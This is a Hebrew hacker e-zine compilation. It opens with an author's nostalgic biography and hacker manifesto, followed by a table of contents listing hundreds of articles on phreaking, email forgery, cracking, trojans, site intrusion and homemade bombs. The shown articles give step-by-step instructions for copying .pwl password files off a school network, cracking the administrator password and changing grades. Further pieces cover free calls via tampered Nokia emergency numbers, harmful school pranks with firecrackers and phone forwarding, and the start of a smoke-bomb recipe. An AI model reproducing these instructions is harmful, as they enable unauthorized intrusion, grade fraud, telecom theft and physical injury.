Professional Documents
Culture Documents
R A Z O R
&
the new book / hacker
שלום
קודם כל אני רוצה להבהיר שכשאני כותב מאמר אני תמיד רושם את כל הדברים
מהלב אז תסלחו לי אם זה יהיה רגשני או ילדותי מידי -זה בא מהלב .
2
הסיפור שלי מתחיל בכיתה ד' -תמיד הייתי סקרן ורציתי לדפוק את רשת
הטלפונים -התחלתי להתעניין ...יחסית לכיתה ד' היה לי מזל כי קומה
מתחתי גר אז - Jacobהוא היה אז בן - 18עולה חדש שלא יודע עברית
אני שגם עליתי מרוסיה אהבתי את מה שהוא עושה -לא היה אז אינטרנט
היה רק BBSמשהו דומה ל ( FTPשרת שאפשר להוריד ממנו קבצים ) ...אני
ישבתי אצלו בבית קרוב ל 5שעות ביום ( יעקב -אני יודע שאף פעם לא
תקרא את השורות האלה אבל אני מצטער בכל זאת ) מול מחשב ה 486שלו
עם מודם k 36וסידי רום ( הוא קנה את המחשב ב 12אלף ש"ח ) ואז אני
זוכר אותנו מורידים קבצים במהירות של k 3לשניה ( ...מצטער חברה
שמרחתי -נוסטלגיה ) אז ככה נחזור לעניין הוא תמיד היה המורה שלי
למחשבים -הוא היה תותח -כל העיר הייתה בא אליו ומבקשת עצות בנוגע למחשב
( אני לא מגזים -כל העיר! ,היום גם באים אליו אבל כבר אין לו זמן -
תבינו בהמשך ) טוב אז הוא היה המורה הראשון שלי ...אחרי שהוא עבר דירה
קנו לי את המחשב הראשון שלי 133mhzבהפתעה (-אני בכייתי -הייתי קטן )
אז על השבוע הראשון הרסתי את כרטיס הקול ( אבא כעס ) ...באסה ...לא משנה -אז התחלתי
להתאמן בגו'גיסטו והכרתי שם את SBHשיישאר איתי לכל
החיים ולא משנה אפה הוא יהיה ואפה אני אנחנו תמיד נהייה פתוחים אחד
לשני -הוא גם היה מבוגר ממני ב 4שנים -הוא גם היה תותח במחשבים
הוא עזר לי לתקן את כרטיס הקול ובפעם הראשונה עשינו על המחשב שלי
ניסוי -התקנו ווינדוס - 95זאת הייתה " חוויה " -היינו מוכרחים
להעביר על דיסקטים את הווינדוס למרות שקיבצנו ב ( RARאז זאת הייתה התוכנה
המובילה בתחום ) לקח לנו חצי יום ( שימו לב :זה חבר -מישהו שמוכן להיתקע
אתך חצי יום ורק בשבילך ) טוב אז הצלחנו ...עברו כשנתיים והתבגרתי קצת
וגם ( SBHיעקב עזב את הרחוב -אף פעם הוא לא הכיר את SBHולא ידע גם
על קיומו -זאת הפעם הראשונה שאני חושב על זה! ) התחלנו עם ה Hacking
השגנו כמה סיסמאות ויוזרים והתחלנו להריץ את העסק ( כיתה ו' בערך)
אהבנו את זה אבל התבאסנו ש SBHקיבל חשבון של 1400משהו כזה ...אימא
שלו התעצבנה וסגרה לו את הקו של הטלפון (אפילו שהוא עבר לפ"ת רק לפני
כמה חודשים פתחו לו את הקו שוב -אבל כמו שאני מכיר את SBHהוא בטח צלצל
לכל העולם על חשבון בזק ( ) :אחרי המקרה הזה אני עברתי מדירה לבית
( אני נמצא עכשיו בקומה ה 3בבית משם אני כותב ) .אז נסגר פרק כל-כך מתוק
בחיים שלי -את החברים הכי טובים השארתי מאחור למרות שזה באותו ישוב
חברים שגם לא היו בעניין של ההאקינג עזבתי אותם -זה היה מעבר קשה -שמואל אחרי שנה
עבר לפ"ת וחבר אחר טוב שלי מאז נשאר שם וגם נשאר שם היום
(אבל היום אנחנו רק ידידים -חבל )... ) :
הבטחתי לעצמי לבקר את SBHכל שבוע בערך פעם אחת לפחות -הצלחתי ועדיין
היינו חברים טובים למרות הגילאים וכל המבחנים שלו שהיום אני עובר אותם
טוב אנחנו שמרנו ואז התחלנו עם הקטע של הפריקינג גנבו PBX , 1800ועוד
היום בזק עלו על השיטות -אז זה היה חלום לכל פריקר היה לנו טלפון חינם
על חשבון בזק ,עכשיו העניין הרבה יותר מסובך -נחזור לנושא SBH -עבר
דירה עם אימא שלו לפ"ת ) :יעקב עבר עוד מקודם למקום אשר היה מרוחק ממני
אולם עדיין שמרנו על קשר ...באותו זמן יעקב עבר למקום עוד יותר רחוק
ונשארתי לבד .היה לי נורא משעמם בזמנים אלו -דפקתי את המוח עם משחקי מחשב ( שהיום
אני לא נוגע בהם -ממליץ לכם להפסיק ) עד ש Batman911בא!
אז הייתי בכיתה ז -התחילו שוב חיי ההאקינג,פריקינג -ואז גם בגללו
נכנס העניין של טרוריזם לחיי -בלשון עממית = אנרכיה -עשינו פצצות
מגפרורים ,גנבנו חבלים מבניה ( רדפו אחריי וכמעט נדרסתי ) :בבריחה ...
אז ככה החיים חזרו למסלולם -חזרתי להיות האקר כמו בן אדם ולא לשחק
בשטיות ( משחקי מחשב ) מאז לא שיחקתי בהם אלא רק התחלתי ללמוד איך לפרוץ
אותם -ואז נכנס הקטע של הקראקינג לחיי -איזה כיף זה שאתה מצליח אני זוכר את הפעם
הראשונה ( לא בסקס ) רצתי בכל הבית קפצתי כמו משוגע אפילו נזלה לי דמעה של התרגשות ( כן
אני אדם נורא רגשני ) זה היה הכיף וזה גם היה המפתח להמשך הדרך -הבנתי אז שאת כל
השטויות שעשיתי עם יעקב ואח"כ עם SBHואח"כ עם Batman911לא היו לחינם -אלא פרצתי
תוכנה ( לפריצת אתר אני לא מייחס חשיבות רבה -עשיתי את זה עוד עם JACOBבימיה
3
הראשונים של הרשת ) -אז זה היה רגע של עליית רגשות – זה כמו זריחה אבל בלב -קשה
לתיאור.
אז לא משנה אז הכל התפתח כל השטיות של הפיירוואל התחילו והאתגר נהייה הרבה יותר קשה
...גם שעברתי לתיכון שרחוק 45ק"מ מביתי היה לי קשה
( השקמה 5:50חזרה ... ) 16:00ולקחתי כמה חודשים של הפסקה ואז הכל לאט לאט חזר
לעצמו -ביקרתי את SBHכמה פעמים בפ"ת את יעקב אני תמיד ביקרתי בערך פעם לחודש ואת
באטמן אני לא צריך לבקר ...הוא שכן שלי (. :
היום זה אחרת -אני כבר בן 15ואני מייחס חשיבות פחותה לכל הדברים (...גם בגלל המין השני )
אבל עדיין אני פורץ אתרים ,טלפוניה ,אני בהרבה פחות אנרכיסט וגם לא קרימינל .
תמיד היה לי חלום ,חלום שברגע זה מתגשם -חלום החופשיות ,חלום הזכיות השוות לכולם ,
חופש הלימוד ,חופש לדעת שיש דברים אחרים שאתם מסוגלים לעשות ,חלום שהוא ההסבר לכל
מה שלמדתי בחיי מהאקינג ובכלל מהחיים דברים שאי אפשר לקרוא באנציקלופדיה וגם לא
ילמדו אתכם את זה באוניברסיטה כי הם לא רוצים שתדעו הם סותמים לנו את הפיות -בשורות
האלה אנחנו מפיצים את המידע לכולם ובחינם אנחנו לא רוצים שתשלמו על זה ( אם אתם רוצים
בכל מקרה שימו חצי שקל בצדקה לחולים -זה יהיה התשלום בשבילנו ) אנחנו רוצים ללמד לעזור
ולהפיץ את הידע לאזן את הרמות בחברה להרוס את העדות -...איו אצלנו רוסי,מרוקאי וכדומה
הכל שווים( sbhהוא העדה המנוגדת בדיוק לשלי ואנחנו החברים הכי טובים ) אנחנו רוצים חברה
אשר תחייה לפי כללים אחרים לגמרי ...אנחנו עוזרים לכולם ,לכל מי שרוצה לדעת אותו נלמד
ולא משנה מה זה כמה זה יעלה לנו -אנחנו חיים על פי דפוסי התנהגות אחרים -לא צוחקים על
מי שלא יודע אלא מנסים להסביר לו -אנחנו אחרים .אם אתם רוצים להמשיך לעזור לי להגשים
את
החלום שלי אני מבקש דבר אחד מכם -תפיצו את הספר לכמה שיותר אנשים ,תלמדו אנשים ואף
פעם אבל בחיים אל תצחקו או תפגעו במי שלא יודע כי תמיד יהיה מי שיודע יותר מכם והוא יוכל
לעשות לכם את אותו הדבר -תעזרו אחד לשני לנצח במלחמת הידע וככה כולם נהיה שווים
מאוחדים והרבה יותר חופשים!.
יש לי כמה מילים אחרונות למשטרה לבזק ולממשלה -אתם תמיד תנסו לעצור אותנו ואתם
תצליחו לאט לאט אבל אתם לעולם לא תעצרו את הידע את החופשיות שזורמת
בעורקנו -אולי אותי אתם תעצרו אותי ואת חבריי אבל את הנפש החיה בקרב ההאקרים תשאר
חיה ובועטת לנצח ,אתם שניסיתם לעצב חברה שוויונית -אתם שייצרתם את פצצת האטום
אתם שגזלתם במלחמות אלפי נפשות אלפי חלומות פנו דרך תנו לנו לעבור לאנשים הרוצים את
הדבר הכי טוב שקיים באדם את החוכמה ואת הצדק השוויוני שמגיע לכל אחד ואל תנסו לעצור
אותנו כי לא תצליחו אולי תעצרו חלק מאתנו אבל לא תצליחו לעצור את כולנו .בסה"כ לכולנו
מטרה משותפת לא להרוס לא לפרוץ אלא ללמד ולבנות עולם טוב יותר ! .יחי החירות ! .
By RAZOR
הקדמה /דבר העורך (מחדש)
שלום!
4
הכל התכיל בגיל שמונה אח שלי חולה מחשבים תכנאי ומתכנת התכיל ללמד אותי תכנאות
PASCALכמובן רק שמהר מאוד הפסקתי לא הבנתי אנגלית (וקצת לא ידעתי מה הוא רוצה
מהחיים שלי לאחר מכן התעשקתי בכל מני שתויות בנפצים (כדאי להכין לבד לא לקנות) ובכל
מני תאוריות על פצצות וכל זה היה לי חבר פיורמן נקרא לו YFהוא כל הזמן הביא כל מני
תכנונים לפצצות ונפצים זוכל דבר הקשור באש היה לו שלושה אחים בצבא וכל פעולה בבני
עקיבא(כן כן אני דתי) היה מדליק מדורה ומפוצץ נפצים לאחר מכןהתחלתי ללמוד לאט לאט
קודם DOSואחורזה QBASIC PASCAL VISUAL BASIC HTML JAVA SCRIPT ASP
BATCHוהרבה על וינדוווז וה OFFICEלמרות זאת עדיין לא הייתי בעיניני ההאקינג אבל כן
בקראקינג וצריבת דיסקים וכו' .בדרך כלל אני היתי זה שהורס את המחשב ואח שלי בא
מהתיכן בסוף שבוע ומתקן (אבל תמיד לומדים מתעויות) .עשיתי חיים (אני מזקיר עדיין לא
בהאקינג) .כשהגעתי לתיכון היה אחד שחשבתי שהוא האקר אחרי זה גיליתי שהוא העתיק את
כל האתר שלו מאתרים אחריםכן הוא יודע אבל לא הרבה מאוד קוראים לו program44בדל
שהוא ידע להשתמש ב SUB7אז חשבתי שהוא האקר ואז למדתי המון בעיקר מ
ASTALAVISTAתרגמתי הכל למדתי למדתי בחופש הגדול האחרון קיבלתי מההורים שלי
אינטרנט מהיר וזה רק עזר עוד יותר בדקתי וחקרתי אבל למורות שהיו לי את כל ההגנות היה לי
וירוס ליפני שלושה שבועות ודפק לי את המחשב והביוס כמובן אח שלי תיקן ועברתי ל
WINDOS XPואז לפני שבוע וחצי שהיה לי הרבה מריבות אם ההרים שלי אז לקחו לי את
המודם (ולכן לא יכולתי להגיע ל 700עמודים למורות שרציתי) ואז היה לי זמן לערוך הכל
ולכתוב קצת עכשיו על תפריעו לי יש לי לכתוב עוד כמה כתבות לכתוב מחדשאת התוכן ולהפיץ
את הספר הזה .
לסיום אני ממליץ בחום אם אבא אמא סבתא דודה או כל בן אדם אחר יכול להדפיס את זה
מומלץ ביותר!!! בחינם וגם לכרוך
תוכן
כותב שם המאמר עמוד
Old-Hacker איך לפרוץ לרשת ביה"ס ולשנות ציונים 10-11
Old-Hacker שיחות חינם בפלאפונים של נוקיה כל הגרסאות 12
Old-Hacker מה כדאי לעשות בביה"ס – חלק א 13
Old-Hacker שיחות חינם בטלפונים שעובדים על טלכרטים 14
Old-Hacker פצצת עשן 15
GeHeNoM פריצת סיסמאות Windows 98\95 16-18
GeHeNoM איך לגנוב כסף ממכשירי טלפון 19-20
5
GeHeNoM הכנת מכשיר ציטוט מהפלאפון 21
GeHeNoM פריצת סיסמת הצנזורה של Interner Explorer 22-23
GeHeNoM שימוש חוזר בכרטיסי טלכרט 24
GeHeNoM שימוש חוזר בכרטיסי טלכרט – שיטה ב' 25
GeHeNoM זיוף – E-Mailחלק א 26-29
GeHeNoM זיוף – E-Mailחלק ב 30-36
GeHeNoM זיוף – E-Mailחלק ג 37-
394
GeHeNoM מדריך לזיוף E-Mailמקוצר 40-41
GeHeNoM מה כדאי לעשות בביה"ס – חלק ב 42-44
GeHeNoM אייקונים בביג טוק 45
GeHeNoM פריצה למחשבים 46-49
Rel8t פצצת מנורה 50
GeHeNoM אנרכיה – הסבר 51
Blood Runner פצצת דיסקט 52
Blood Runner Port Scanning 53-54
IceFire3k טיפול "משמעתי" בקרציות 55
IceFire3k גפרורים שמישים מתחת למים 56
GeHeNoM שרתי פרוקסי 57-59
Zero Cool התקשרויות מחשבים :חלק ראשון :איך לבנות סרבר 60-62
AKA
Blood Runner
Like part 1 התקשרויות מחשבים :חלק שני :איך לבנות קליינט 63-64
Blood Runner שימוש בטלנט לקריאת E-mail 65-66
y0g1 b3ar אינטיפדת טלפונים 67
Blood Runner פורט סקנינג 68-70
Blood Runner הבנת כותרות E-mail 71-74
GeHeNoM החלפת מסכי הפעלה/כיבוי 75-76
Bentz מספרים שימושים 77-78
Bentz נטרול התוכנה סייבר-פורטל 75-80
Blood Runner פריצה לאתרים – דוגמאות לאקספלוייטים 81-84
Pirs[i]ng איך להאיץ את ה \ ADSLלחבל במודמי ADSL 85-86
waMaw שימו בפסיכולוגיה כדי לגנוב סיסמאות 87-88
BoR|S ביוגרפיה של ההאקר הכי מפורסם בעולם 89-91
E-Man כסף חינם 92-93
Old-Hacker כסף חינם – בלי דורופים 94
E-Man איך לקבל אינטרנט יותר זול מכולם 95
E-Man מזומן חינם – ...איך לעבוד על מכונות שפורטות כסף 96-97
Milki דיבור ללא תשלום בטלפון ציבורי 98
Old-Hacker
Old-Haacker כוח ברוטלי 99
Cool-Guy פצצת צבע 100
Blackdeath
Oldhacker
Zeos המדריך ל Crackerהמתחיל 101-
103
VBman אסמבלר ל Cracker 104-
105
Pirs[i]ng & Zeos איך להפוך ממספר עשרוני לבינארי ולהפך 106
Zeos פיצוח הגנות ל cdגרסה 1.1 107-
108
Pirs[I]ng קידוד והצפנה 109-
111
Zeos בסיס הקסדצימלי – המרה 112-
114
6
Zeos המדריך לפיצוח מעשי של הגנת סיסמא 115-
118
E-Man פריצת סיסמאות ב Windows NT 119-
120
Razor האתיקה של ההאקרים 121
Pirs[I]ng שקר \ אמת על הפריקינג 122
AiTi חיפוש במזבלות לפריקרים 123
Boba Smith Tni Box 124-
125
AiTi המספרים המיוחדים והקידומות של נזק 126-
127
AiTi סריקת מספרי 1800 128-
129
AiTi PBX 130-
131
CnTax המדריך ליצירת טונים בנוקיה 132-
133
AiTi רשימת הקופסאות השונות ותפקידם 134
AiTi המדריך המלא לסריקת תדרים באוויר 135-
136
AiTi פריצה לטלפונים שעובדים על מטבעות 137-
138
Pirs[I]ng תדרים 139
Pirs[I]ng שיחות חינם בטלפונים שעובדים על מטבעות – דרך ב' 140
Pirs[I]ng פריצה למשיבון סלולרי 141
Pirs[I]ng זיוף מספר השולח בשילחת הודעות 142
AiTi Beige box 143-
144
^^Dak0Da פריצת חדרים ב Mirc 145
^^Dak0Da פריצת ניקים ב Mirc 146
ZeBra בקבוק תבערה 147
Razor איך לבנות לביור 148
Zeos Windows Tricks Part 1 149-
151
Zeos Windows Tricks Part 2 152-
153
Pirs[I]ng Wap 154-
155
Y0gl-B3ar פריצה לאתרים בעזרת UniCode 156-
158
Rul3r המדריך המקיף על טרוייני 159
Pirs[I]ng & Zeh סאבנטינג 160-
161
Vortex דואר אנונימי דרך טלנט 162-
164
CnTax חשבונות Shell 165-
166
Pirs[I]ng פרוטוקולים 167-
168
[]Twix מבוא לשכבת OSI 169-
171
CaTax תרבות ההאקרים 172-
173
Tricker מידע על IPוערוצים ע"י פקודות Netstat 174-
176
7
Vb-Man אנונימיות ב irc 177
The-Mod פריצה ל icq - 178-
183
Pirs[I]ng מה היא פריצה ? +דוגמה 184-
186
Razor & Boba Smith יצירת טונים בשפת C 187-
188
Pirs[I]ng הסבר על סוגים שונים של כבלים 189-
191
Pirs[I]ng איך להרוס סוגים שונים של כבלים 192
Pirs[I]ng & Rul3r מושגים 193-
194
NDR311 אנונימיות -אין להיות אנונימי ואיך לגלות דברים על אנשים אחרים 195-
197
Pirs[I]ng מדריך מקיף על אסמבלר 198-
202
Zirocool פריצה נכונה 203-
204
פריצות של פעם בחיים 205-
208
Zirocool & PskoTraz – PROXYשמירה על זהות אמיתית 209-
210
Zirocool עבודה נכונה בתוך המחשב 211-
212
Zirocool פריצה לקובץ הסיסמאות של CuteFTPו Ws_FTP 213-
214
Zirocool – MOTOROLAקוד טכנאי 215-
216
patcher קבצי פי.דבליו.אל)PWL FILE( . 217-
218
Patcher כניסה בדרך מתוחכמת לחשבונות של ואללה 219-
221
patcher Adware 222
GOOLGOLET אנונימיות 223
GOOLGOLET Faking File Transfer 224
GOOLGOLET פריצה ל WINDOS 225-
227
GOOLGOLET & HFM איך להשיג איי פי של אנשים דרך האייסיקיו 228
GOOLGOLET ניהול קבצים ב FTPדרך דוס 229-
231
GOOLGOLET שימוש בכח ברוטלי ()WWWHACKכדי לפרוץ אתריםFTP/E-mail/ 232-
234
GOOLGOLET לגלות טוריאן בלי אנטי וירוס 235-
239
GOOLGOLET TCP/IP 240-
242
GOOLGOLET מושגים בסיסיים 243
Reshet3000 פריצה דרך שיטוף ללא טוריאן 244
Reshet3000 העלעת הודעות ארור למחשב בקלות 245
GOOLGOLET מקלע 1 246
GOOLGOLET נטבס התוכנה של הלימרים 247-
249
HaSaTaN באג בהוטמייל 250-
251
HaSaTaN פריצה לאתרים 252
8
HaSaTaN 2 פריצה לאתרים 253-
254
HaSaTaN SSL 255
HaSaTaN עשרת הדיברות להאקר 256
HaSaTaN WORD איך לעקוף סיסמאות של 257
HaSaTaN 2 הודעת ארור 258
HaSaTaN פריצת מנעולים 259-
261
HaSaTaN Autorun 262-
263
HaSaTaN VISUAL BASIC TORGAN 264-
268
HaSaTaN BIOS 269-
270
HaSaTaN כוח ברוטלי 271-
273
HaSaTaN Radix 274
HaSaTaN Chat 275
HaSaTaN CHOKE 276
HaSaTaN איךזה עובדDNS 277
HaSaTaN DOS התקפות 278-
279
HaSaTaN yahoomessenger ולMSNmessenger פריצה ל 280
HaSaTaN FTP 281-
282
HaSaTaN כעזר לפריצה לאתרFTP שימוש ב 283
HaSaTaN Fun city 284-
288
HaSaTaN גניבה מהמכונות של הממתקים 289-
291
HaSaTaN ממורשת/פריצה ל 292-
293
HaSaTaN פריצה למדפסות 294-
296
HaSaTaN וקבלת דומין בחינםISS פריצה לשרתי 297-
299
HaSaTaN וכתובות אינטרנטIp 300-
302
HaSaTaN של מי שגולש באתרIP גילוי 303
HaSaTaN ISO-OSI 304-
306
HaSaTaN :2 מילון מושגים 307-
308
HaSaTaN NetBIOS 309-
315
HaSaTaN Novel 316-
320
HaSaTaN Port scan 321-
323
HaSaTaN תקשורת לוינית 324
HaSaTaN ) (חשבונות שאללSHELL ACCOUNT 325-
327
HaSaTaN המשפטים שכדאי לומר לשוטר תנועה כשהו עוצר אותך 328
HaSaTaN המשפטים שכדאי לומר לשוטר תנועה כשהו עוצר אותך 329-
330
9
HaSaTaN פריצה ל Fortres 331
HaSaTaN U-D-P 332-
333
HaSaTaN שרתי FTPאם פול טקסטים(באנגלית) ותוכנות 334-
337
HaSaTaN & Golgolet רוגטקה רגילה 338
Golgolet & HaSaTaN מקלע טוש ו גומיות למקלעים 339
Goolgolet & HFM מנגנון השעיה לנפצים 340-
341
HFM פצצת מנורה 342
HFM מקלע הכי טוב שיש 343
HFM מטען צינור 344
HFM פריצה למחשב 345-
346
Program44 איך מגלים IPשל מישהו במירק()MIRC 347
Program44 להפיל אתרים וליפרוץ אליהם 348-
351
Program44 נט ספליט 352
Program44 סגירת תיבות אי מאייל 353
Program44 שמות מצחיקים 354
HFM שרתים שמחזיקים אתרים בחינם ושליחת הודעות לפלאפון 355-
356
HaSaTaN טיל מים 357
HaSaTaN WinGates 358-
359
Crossbow פריצה לפורומים 360-
361
Crossbow פריצה לפריסל (משחק כלפים) 362
Crossbow באג ב WINDOS 363
Crossbow טריקים בטיקיות מיוחדות ב WINDOS 364-
365
Crossbow מציאת חורים באבטחה ע"י SATAN 366
Crossbow תיקיות סודיות 367
Crossbow עקיפת הגבלת WINDOSבהקלטה 368
Crossbow כל מני פריצות ל WINDOS 369-
371
Crossbow פריצת הסיסמה של השומר מסך 372
Crossbow תקיות שאי אפשר למחוק 373
Crossbow פריצה לשולה מוקשים 374
Crossbow רוצים להרוס את המחשב בבקשה 375
Crossbow תכניקת פצצות 376
Crossbow רוצה לשלוח הודעה בעיברית ואין לך עיברית במחשב 377
Crossbow המניפסטו העברי של קרוסבוו 378
Crossbow קצת על עבודה במערכת הפעלה 379
Golgolet פצצת עשן מכדור פינג-פונג 380
Golgolet איך להכין מוקש 381
Golgolet איך להכין פתיל 382
Golgolet פצצת CO2 383
Golgolet לחצן פשוט למוקשים 384
Golgolet פצצת רפיל 385
Golgolet לעבוד על מכונות של משחקים בקניון 386-
387
Golgolet איך להרגיז\לשגע מורים דרך מחשב 388
Golgolet דברים כיפים לעשות בבית ספר – חלק ג' 389-
390
10
Golgolet ICON החלפת ה/ פריצת 391-
392
Crossbow TCP/IP מבנה 393-
394
Crossbow לשם פעילות בוינדואוזUser.exe שימוש בקובץ 395
Crossbow )autoexec.bat( קצת על קבצים מיוחדים במחשב 396
microsoft TELNET פקודות של 397-
398
microsoft WINDOS XP מילון מושגים של 399-
484
Gjgj1 אתרי האקינג בארץ ובעולם 485-
487
Gjgj1 איך לקבל כל סיסמה או מספר ויזה 488
Gjgj1 IP אתרי חיזבלה לפריצה ואיך משיגים 489
HFM & Crossbow פתיחה למדור תכנות 490
HaSaTaN Batch 491-
493
HaSaTaN המשךBatch 494-
499
Crossbow Batch 500-
502
Crossbow המשךBatch 503-
504
Crossbow בעיבריתBatch 505
Crossbow Batch טימר ב 506-
507
Crossbow Batch משתנים מתקדמים ב 508-
509
Crossbow AWK 510-
511
Crossbow HTML 512-
513
Crossbow JAVA 514-
518
Crossbow JAVA2 519-
525
Crossbow TURBO PASCAL 526-
538
Crossbow שגיעות בפסקל 539-
541
Crossbow TORBO PASCAL שימוש מתקדם ב 542-
549
Crossbow עבודה עם פרמטרים בפסקל 550-
551
Crossbow עוד קצת על פתרון בעיות בשפת פסקל 552-
554
Crossbow קול וצלילים לפסקל 555-
556
Crossbow שינוי סוגי המשתנים בפסקל 557-
558
Crossbow QUICK BASIC שפת 559-
561
Crossbow .A.P.I 562
Crossbow VISUAL BASIC 563-
564
11
Crossbow שימוש באג'נט בויז'ואל ביסיק 565
Crossbow עבודה עם קליפבורד בויז'ואל בייסיק 566
Crossbow שימוש בצבעים בויזואל בייסיק 567
Crossbow משתנים ב VISUAL BASIC 568-
569
Crossbow פעולה עם קבצים בויזואל בייסיק 570-
571
Crossbow VISUAL BASIC SCRIPT 572-
575
Crossbow שימוש באינטראקטיביות ב VISUAL BASIC SCRIPT 576-
578
Crossbow VISUAL BASIC WINSOCK 579-
580
Crossbow שימוש ברג'יסטרי בתוך ויזואל בייסיק 581-
588
Crossbow חשבון בינרי 589-
590
Crossbow המדריך ללולאות אין סופיות 591-
593
Crossbow בסיס הארימטריקה המודולרית 594-
597
Crossbow אריתמטקה מודולרית מתקדמת 598-
600
Crossbow תיכנות Shellבלינוקס 601-
603
RAZORהוספה HFM צור קשר 604
RAZORהוספה HFM תודות 605
RAZORהוספה HFM סוף דבר 606
12
איך לפרוץ לרשת ביה"ס ולשנות ציונים
טוב דבר ראשון לשם הפריצה הציונים צריכים להיות על אותה רשת מחשבים שעליה אתה
עושה את הפעולה .
שלב 1
אתה מדליק את המחשב נכנס ל windowsוהמחשב מבקש ממך סיסמא ..אתה לוחץ ביטול
או אישור והמחשב נדלק .
ואתה כותב
:copy c:\windows\*.pwl a
זה מעתיק את הקבצים של הסיסמאות לדיסקט את מוציא את הדיסקט שם בתחתונים ( או
בכיס (אפה שיותר נוח )) סוגר את חלון הדוס ואתה חף מפשע .
*עבור לשלב 2
אם זה לא עובד ואחראי הרשת המזדיין שם הגנה ל ( Runאבל הוא לא יודע שיש אחד
שקוראים לו ) Old-hackerכנס ל Internet Explorerובמקום לכתוב אתר כתוב
C:\command.com
תכניס דיסקט
לחץ
:copy c:\windows\*.pwl a
*עבור לשלב 2
ואם האחראי משחק איתי יותר מידי וחושב שהוא יותר חכם ממני אז פתח את המחשב ולחץ F8
עד שתופיע טבלה ובחר בה ms-dos promp.
וכתוב
:copy c:\windows\*.pwl a
*עבור לשלב 2
13
הכינו דיסקט הפעלה בבית לא משנה איזה . ME\98\95
עושים את זה כך :
נכנסים לחלון דוס ע"י
:Run > command > sys a
הולכים לתיכון ומכניסים אותו ...
מחקים קצת עד שיופיע מסך כזה
Microsoft)R( Windows 98
.Copyright Microsoft Corp 1981-1998
<\:C
וכותבים
:copy c:\windows\*.pwl a
•ועוברים לשלב 2
שלב 2
עכשיו אני יסביר איך לעשות את הפריצה המעשית ולהתחבר לשרת לא כתלמידים מסכנים אלא
כמנהלי הרשת .וכך לשנות את הציונים בתוכנות של המורים .לרוב כ 99%הסיסמאות של מנהל
הרשת הם אותם סיסמאות של תוכנת הציונים אז לא יהיה לכם בעיה ( גם לרוב אין לתוכנות אלה
סיסמא -כך זה בתיכון שלי ) .
מגיעים הביתה עם הדיסקט שמחים אחרי יום לימודים קשה (...בהמשך המגזין אני יסביר איך
לעשות אותו כיף וקל ) .
ונכנסים ל windowsופותחים את השלל שיש בדיסקט ורואים לרוב יש שם את הקבצים האלה
או קבצים דומים :
Guest.pwl or student.pwl
Admin.pwl
בקבצים אלו ישנה סיסמא מוצפנת וצריך תוכנה כדי לפצח אותה – התוכנה המועדפת עלי היא
Cainואפשר להוריד בפינת ההורדות באתר שלי .
http://freehost18.websamba.com/razor
אחרי שאתם מצאתם את הסיסמא אתם הולכים לתיכון ונכנסים עם השם משתמש של שם
הקובץ של מנהל הרשת ועם הסיסמא וכל המחשב פתוח בפניכם וכל "השכנים ברשת " ...
עכשיו העבודה קלה -תמצאו את תוכנת הציונים ותשנו לכם את הממוצע ל 9-10ותגידו תודה
רבה ל Old-hackerאו לבייל גייטס שעשה מערכת הפעלה שעשה מערכת שכל-כך קל לפרוץ אליה
.
14
שיחות חינם בפלאפונים של נוקיה כל הגרסאות
טוב אז ככה קודם אני אסביר על איזו שיטה זה עובד שלא תישארו Lamerים
שרק יודעים לעשות ולא יודעים למה ? .
כשאתם מתקשרים למשטרה ואמבולנס ולמכבי אש זה לא עולה לכם כסף ...
אז אפשר לתכנת במכשיר שהמספר של המשטרה הוא מספר של חבר שלך וככה כשאתה
מתקשר לחבר המכשיר חושב שאתה מתקשר למשטרה וככה זה לא עולה לך כסף .
.3ומשנים את מספרי החירום למספר שאתם רוצים להתקשר אליו חינם .
.4מכבים את המכשיר .
.5מחכים קצת = 20\ 10שניות .
.6מדליקים ומנסים לחייג את המספרים שכתבתם .
.7אם הכל עובד – אתם כותבים את אחד המספרים שכתבתכם ב Emergency Numbersועל
המכשיר תופיע ההודעה הבאה Attemping Emergency Call :
או בעברית " מנסה ליזום שיחת חירום " .
אפשר לעשות את אותו דבר עם כל סוגי הטלפונים – על אותו עיקרון – שינוי מספרי שיחות
חירום .בהצלחה
15
מה כדאי לעשות בבית הספר
זה טקסט קצת דפוק ( אני מודה ) אבל סתם כדי לצאת מהשגרה הבאתי לכם כמה שיטות .
אני אתן לכם 11שיטות להנאות מביה"ס מהגרוע ביותר למוצלח ביותר .
.11ללמוד(.חחח)...
. 10לשים למורה לפני שהוא בא דבק על הכיסא ואז הוא מתיישב לאיזה חצי שעה ולא קם ...
.9להדביק ג'לי מגעיל על התקרה ואז כשהמורה יכנס לכיתה הג'לי ייפול לו על הראש והוא לא
ישים לב .
.8לשים פתק על הגב של המורה – הכי בטוח וגם מצחיק .
.7לכתוב בשירותים על הדלתות בגרפיטי .
.6להביא פצצת סרחון ולזרוק לחדר מורים בתחילת היום .
.5להוציא את הנייר טואלט מהשירותים ולהכניס אותו לאסלות בתחילת היום להוריד את כל
המים ולבוא ב 5לשמונה ולראות אקווריום ולא תיכון .
.4לשים למורה בלון פלוצים ...ממש מצחיק (.אולי זה לא בעצם ) .
.3לקחת את הנפצים הקטנים האלה שמוכרים אותם ב 50ל 3שקל – ולשים אותם מתחת ליומן
של הכיתה ,המורה יבוא וידפוק את היומן על הנפצים ואז הוא יקבל הלם (.במקרה טוב הוא
יהיה חירש-סתם...לא יפה).
.2לטלפן לביה"ס ולעשות כאילו אתם ההורים של איזה ילד ולהגיד שאתם חייבים שהוא יחזור
הביתה בגלל אירוע משפחתי -...המזכירה תשחרר אותו והוא יגיע הביתה ולא ידע למה ( . ...או
לעשות את זה לכם כשאין לכם כוח ללמוד ).
.1
הדבר הכי פצצה
ללכת למזכירות ולבקש לטלפן לאחיך ולהגיד שזה בגלל אירוע משפחתי וזה דחוף – ...אז במקום
להתקשר לאחיך תעשה לטלפון עקוב אחרי למספר ארוטי ...ואז כל מי שמתקשר לביה"ס
מתבייש בו וחושב שהוא הגיע למספר ארוטי=חחחח (את המספרים אפשר להשיג בכל סוף עיתון)
.
By Old-Hacker
16
שיחות חינם בטלפונים שעובדים על טלכרטים
כעת אני ילמד אתכם איך לזיין את "נזק" ולהשתמש בשירות גוביינא כדי לקבל
שיחות חינם – .אחרי שתקראו את הפרק הזה אתם תגידו ביי לטלפון בבית .
מצרכים :
הפריצה
17
פצצת עשן
חומרים :
הקרטון של המחברת (עדיף קרטון חלש )
דבק
חול
3קופסאות גפרורים
נייר דבק
נייר
הוראות הכנה
לוקחים ת' מחברת ומפרקים לה את הצורה – סתם...
איור :
ככה בערך אמור לצאת
______________________________
&*&*&*&*&**&**&*&*&*****
&*&*&*&*&*&*&*&*&*******
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
